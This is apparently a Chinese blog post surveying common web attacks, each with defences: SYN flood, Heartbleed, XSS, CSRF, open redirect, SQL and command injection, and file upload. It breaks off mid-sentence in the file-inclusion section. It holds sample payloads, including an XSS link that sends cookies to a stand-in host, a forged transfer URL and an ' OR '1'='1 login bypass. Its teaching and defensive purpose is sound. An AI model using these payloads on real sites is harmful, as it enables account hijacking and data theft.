常见 Web 攻击介绍

SYN 攻击
描述:
  SYN 攻击属于 DOS 攻击的一种,利用的是 Tcp 协议的缺陷,其原理是基于 TCP 建立连接时的三次握手:
  第一次握手:客户端连接服务端时向服务器发送 SYN 包(syn=j),并进入 SYN_SEND 状态;
  第二次握手:服务器收到 SYN 包,向客户端确认 ACK(ack=j+1),同时自己也发送一个 SYN 包(syn=k),两个信息在一个数据包中,服务器进入 SRN_RECV 状态。
  第三次握手:客户端收到服务器的 ACK + SYN 包,向服务器返回一个 ACK(ack=k+1)包,包发送完毕,然后服务器和客户端进入 ESTABLISHED 状态,完成三次握手。
  服务器本身会维持一个未连接队列,该队列为每个客户端的 SYN 包开设一个条目,该条目表示服务器完成第二次握手等待 客户端响应的状态,如果长时间客户端没有响应,服务器会重传,重传多次后该条目才会被删除。攻击者就是利用这种机制,大量的发送 SYN 请求,但不予回应,导致服务器 未连接队列满了,就无法处理正常请求。
防御:
  过滤网关防护:网关超时设置、SYN网关、SYN代理。
  增加最大半连接数、缩短超时时间、SYN cookies技术、SynAttackProtect机制。

Heartbleed
描述:
  2014年4月7日曝光的 Openssl 安全漏洞,这一漏洞让任何人都可以读取系统的运行内存。Openssl 是目前业内采用相当广泛的开源加密库,因此造成了巨大风波。具体的原因是 memcpy 函数调用受害用户输入内容作为长度参数前没有进行边界的确认。问题出在ssl/d1_both.c 文件中的 dtls1_process_heartbeat 函数,如果对端发来的心跳包有猫腻——包长度跟实际载荷不匹配,那么在发送回应包的时候,那句 memcpy 语句就会把心跳包之后的内存区块也一起 copy 进去,然后发给对端。内存信息就泄露了。
防御:
  重新安装修复版本。
  受影响:OpenSSL 1.0.2-beta、OpenSSL 1.0.1 - OpenSSL 1.0.1f
  不受影响:OpenSSL 1.0.2-beta2(将来版本)、OpenSSL 1.0.1g、OpenSSL 1.0.0(及1.0.0的分支版本)、OpenSSL 0.9.8(及0.9.8的分支版本)
  一些发行的操作系统中带有的OpenSSL存在潜在漏洞:
  Debian Wheezy (stable), OpenSSL 1.0.1e-2+deb7u4
  Ubuntu 12.04.4 LTS, OpenSSL 1.0.1-4ubuntu5.11
  CentOS 6.5, OpenSSL 1.0.1e-15
  Fedora 18, OpenSSL 1.0.1e-4
  OpenBSD 5.3 (OpenSSL 1.0.1c 10 May 2012) and 5.4 (OpenSSL 1.0.1c 10 May 2012)
  FreeBSD 10.0 - OpenSSL 1.0.1e 11 Feb 2013
  NetBSD 5.0.2 (OpenSSL 1.0.1e)
  OpenSUSE 12.2 (OpenSSL 1.0.1c)

XSS(Cross Site Scripting)跨站脚本攻击
描述:
  反射型、存储型(会实例化到数据库),本质是用户在页面动态文本的地方插入了 js 代码
  反射型:知道网站某链接存在 XSS 漏洞,比如会从 URL 输入获取内容进行显示,页面内容:<%=request.getParameter(“content”)%>。我知道 A 也注册了这个网站,然后我做一个超链接地址给他:http://www.a.com?content=<script>window.open(“www.b.com?param=”+document.cookie)</script>。如果 A 在访问这个超链时已经登入了 这个 网站,就会执行我插入的脚本,我就可以获取到 A 的 cookie 信息,通过该信息我就能随意使用 A 的账号。
  存储型:同样是插入有问题的 js 脚本,有些情况,应用会将用户的输入插入数据库,然后从数据库读出来进行页面显示,这时候如果我在其中插入了一段 恶意 js 脚本,实例化到数据库后,其他用户在访问我发的内容时,就会获取他的 登录 cookie,然后我就可以xxxx了。
防御:
  一个原则:永不相信用户输入!
  对用户的输入进行过滤或者处理:HTML encode、关键词过滤。

CSRF(Cross-Site Request Forgery)跨站请求伪造
描述:
  攻击者以你之手来发送他想发送的请求。
  加入 A 网站是一个银行网站,用户 B 成功的登入该网站,并且获取到了 cookie,用户 B 在没有登出的情况下,访问了有恶意的网站 C,C网站中隐藏了一个访问 A 的转账请求。
  www.xxx.com/transfer?accountId=hacker&money=10000,这时 B 就会带着他的 cookie 用这个链接去访问 A 网站,A 网站就会处理这个请求,这样 C 就达到了借 B 之手模拟操作的目的。
防御:
  首先我们要明确那些请求需要进行 CSRF 防御,只有那些改变数据并产生服务的接口,才需要进行防御,对于数据的读取接口,由于浏览器的同源策略,是不需要防御的。
  当前防御 CSRF 的三种策略:
   1.验证 Http 请求头的 Referer 字段
   该字段记录了请求来源页面,如果该值不是我的域名下的链接服务端就拒绝响应。可以使用拦截器实现校验,简单方便。
   但是这样做会有一些问题,referer 值由浏览器封装,等于说我们将安全寄托于第三方的浏览器上,对于有些浏览器比如说 IE6 等是可以篡改 Referer 的。
   同时有些用户可能会关掉浏览器的 Referer 功能,网站就会拒绝这些用户的请求
   2.在请求地址中添加 token 并验证
   CSRF 能够成功的原因是黑客能够完全伪造用户的请求,如果在页面的请求中都加入一个 token 值,该 token 值由服务器 session 发送过来,然后,每一次 URL 访问都会加上这个 token ,服务器端对每个访问进行 token 值验证,如果没有或者不正确就拒绝。但是黑客有些情况可以获得用户的 token 值,比如说在一写论坛类的网站,黑客发布了自己的网站地址,在用户访问这个地址的时候,也会加上 token 值,黑客就可以获取到 该用户的 token 值了。
   3.在 Http 头中自定义属性并验证
   通过 XMLHttpRequest 类将 token 信息放入 Http 的自定义请求头中。
   缺点: 该请求得到的页面不能被浏览器记录,也就是没法进行 前进、后退、刷新等操作,如果采用这种方法,需要重写整个网站,代价太大。

URL 重定向漏洞
描述:
  攻击者可以构造 URL 将用户的访问重定向到指定页面,一般为借助可信的第三方平台的链接进行跳转。
  在我们访问一个页面时(假如页面叫 a.aspx),如果需要登录,而我们又没有登录,则会重定向到登录页,此时一般会带一个参数 returnUrl=a.aspx,当登录成功后,再重定向到 returnUrl,即 a.aspx。本来这是为了客户体验,但是如果不对 returnUrl 验证,将会有一个漏洞,类似于跨站攻击一类的漏洞。
  假如 QQ 邮箱支持 returnUrl,我做一个 QQ 邮箱的网址,后面跟一个 returnUrl 为攻击者的网址,发给网友,网友一看前面确实是 QQ 邮箱的网址,而后面的 returnUrl 经过 UrlEncode 编码,一般又不容易看出来,就去登录,登录成功后跳转到 returnUrl,也就是攻击者的网址,而我再把这个攻击者网址对应的网页做成和 QQ 邮箱登录界面一模一样,但提示密码错误,要求网友再输入。此时大多数网友都会上当。
防御:
  解决方法是验证 returnUrl,只有本站,或者受信任的第三方才允许跳转。

SQL 注入
描述:
  SQL注入攻击是黑客对数据库进行攻击的常用手段之一。程序没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。
  某个网站的登录验证的SQL查询代码为: strSQL = “SELECT * FROM users WHERE (name = ‘” + userName + “’) and (pw = ‘”+ passWord +”’);”
  恶意填入 :userName = “1’ OR ‘1’=’1”; 与 passWord = “1’ OR ‘1’=’1”; 时,将导致原本的SQL字符串被填为
  strSQL = “SELECT * FROM users WHERE (name = ‘1’ OR ‘1’=’1’) and (pw = ‘1’ OR ‘1’=’1’);”
  也就是实际上运行的SQL命令会变成下面这样的 :strSQL = “SELECT * FROM users;”
  因此达到无账号密码,亦可登录网站。所以SQL注入攻击被俗称为黑客的填空游戏。
防御:
  对用户输入参数进行校验。

Command Injection 命令注入
描述:
   Web 程序把用户提交的参数未做过滤直接使用 shell 执行,即攻击者可以执行任何系统命令。
  PHP 中 exec()、system()、passthru()、popen()、反引号(echo `$xxx`)、shell_exec() 等函数都可以直接执行系统命令。
防御:
  和 SQL 注入防御方法类似,进行参数校验。

PHPInfo()信息泄漏漏洞
描述:
   Web站点的某些测试页面可能会使用到PHP的phpinfo()函数,会输出服务器的关键信息。
防御:
   正式版要注意删除 phpinfo.php 文件。

测试页面泄漏在外网漏洞
描述:
   一些测试页面泄漏到外网,导致外界误传公司被黑客入侵。
防御:
   删除测试页面。

备份文件泄漏在外网漏洞
描述:
   编辑器或者人员在编辑文件时,产生的临时文件,如vim自动保存为.swp后缀、UltrlEditor自动保存.bak后缀等,这些文件会泄漏源代码或者敏感信息。
防御:
   删除备份文件。

版本管理工具文件信息泄漏漏洞
描述:
   版本管理工具SVN和CVS会在所有目录添加特殊文件,如果这些文件同步到Web目录后就会泄漏路径等信息。
防御:
   删除SVN各目录下的.svn目录;删除CVS的CVS目录。

HTTP认证泄漏漏洞
描述:
   Web目录开启了HTTP Basic认证,但未做IP限制,导致攻击者可以暴力破解帐号密码。
防御:
   限制IP访问该目录。

弱密码漏洞
描述:
   有些网站管理员密码为了方便设置过于简单(比如 生日、名字拼音、123456等),很容易被黑客暴力破解。
防御:
   如果可以,将重要的网站仅放在内网访问;增强密码的复杂度(英文+数字+特殊字符);增加登入错误次数限制。

文件上传漏洞:
描述:
   接受文件上传的Web程序未对文件类型和格式做合法性校验,导致攻击者可以上传Webshell(.php、.jsp等)或者非期望格式的文件(.jpg后缀的HTML文件)。
防御:
   文件上传的CGI做到:
   1. 上传文件类型和格式校验;
   2. 上传文件以二进制形式下载,不提供直接访问。

X-Forwarded-For 攻击
描述:
   该攻击属于 Http Header 注入的一种,Http Header X-Forwarded-For 字段用来获取通过代理放肆连接到服务器的请求的原始 IP 地址,因此很多 Web 应用的日志模块需要记录或者查询该信息。
   这时候就存在 SQL 注入漏洞。
防御:
  和 SQL 注入防御方式类似,参数校验。

File Inclusion(文件包含漏洞)
描述:
  文件包含(Local File Include)是php脚本的一大特色,程序员们为了开发的方便,常常会用到包含。比如把一系列功能函数都写进fuction.php中,之后当某个文件需要调用的时候就直接在文件头中写上一句

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值